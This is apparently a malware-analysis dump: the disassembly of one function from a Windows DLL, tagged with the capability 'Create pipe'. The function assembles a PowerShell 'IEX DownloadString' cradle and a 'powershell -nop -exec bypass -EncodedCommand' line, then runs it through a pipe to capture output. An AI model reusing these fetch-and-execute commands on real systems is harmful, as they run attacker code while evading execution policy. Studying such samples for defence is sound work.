Function at 0x180014ce0
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x38]
sub rsp, 0x110
mov r15, rcx
mov ecx, 0x20000
movsxd rbx, edx
call fcn.180013f54
mov edx, 0x8000
mov rcx, rax
mov rdi, rax
call fcn.180014038
mov edx, 0x8000
mov rcx, rdi
mov r12, rax
call fcn.180014038
mov edx, 0x10000
mov rcx, rdi
mov rsi, rax
call fcn.180014038
mov r13, rax
cmp ebx, 0x2aaa
jle 0x180014d61
lea rcx, str.Command_length___d__too_long
mov edx, ebx
call fcn.18000d9a8
jmp 0x180014f43
mov r14d, 0x68
lea rcx, [rbp - 0x60]
xor edx, edx
mov r8d, r14d
call fcn.18001b160
xor eax, eax
mov dword [rbp - 0x60], r14d
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
xor r14d, r14d
mov r9d, 0x100000
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x60], 0x18
mov qword [rsp + 0x68], r14
mov dword [rsp + 0x70], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x30]
mov byte [rbx + r15], r14b
or rbx, 0xffffffffffffffff
cmp qword [0x18003cfb8], r14
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], r14w
mov qword [rbp - 0x10], r14
je 0x180014e64
call fcn.18001aa5c
mov r8, rbx
mov r14d, eax
mov eax, 0x45e7b273
imul r14d
mov eax, 0x800
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0xea60
sub r14d, edx
mov rdx, qword [0x18003cfb8]
add r14w, ax
inc r8
cmp byte [rdx + r8], 0
jne 0x180014e2b
movzx ecx, r14w
call fcn.180017850
mov qword [rsp + 0x20], r15
mov r15d, 0x8000
lea r8, str.IEX__New_Object_Net.Webclient_.DownloadString_http:__127.0.0.1:_u_____s
mov edx, r15d
movzx r9d, r14w
mov rcx, rsi
call fcn.18001a12c
xor r14d, r14d
jmp 0x180014e7f
mov r9, r15
mov r15d, 0x8000
lea r8, [0x18002a6d4]
mov edx, r15d
mov rcx, rsi
call fcn.18001a12c
mov r8, r15
mov rdx, rsi
mov rcx, r13
call fcn.18001b950
lea r9, [rbp + 0x58]
mov r8, rsi
lea edx, [rax + rax]
mov rcx, r13
mov qword [rbp + 0x58], r15
call fcn.180001258
mov rax, qword [rbp + 0x58]
lea r8, str.powershell__nop__exec_bypass__EncodedCommand___s_
mov r9, rsi
mov rdx, r15
mov rcx, r12
mov byte [rax + rsi], r14b
call fcn.18001a12c
lea rcx, [rsp + 0x58]
call fcn.180011f20
inc rbx
cmp byte [r12 + rbx], r14b
jne 0x180014eca
lea edx, [rbx + 1]
lea r9, [rsp + 0x38]
lea r8, [rbp - 0x60]
mov rcx, r12
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.180010700
mov rcx, qword [rsp + 0x58]
mov ebx, eax
call fcn.180011f58
test ebx, ebx
je 0x180014f3b
mov rcx, qword [rsp + 0x38]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x50]
movups xmm0, xmmword [rsp + 0x38]
movsd xmm1, qword [rsp + 0x48]
lea rcx, [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movsd qword [rbp - 0x70], xmm1
call fcn.1800132c0
mov rcx, rdi
call fcn.180013fd0
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret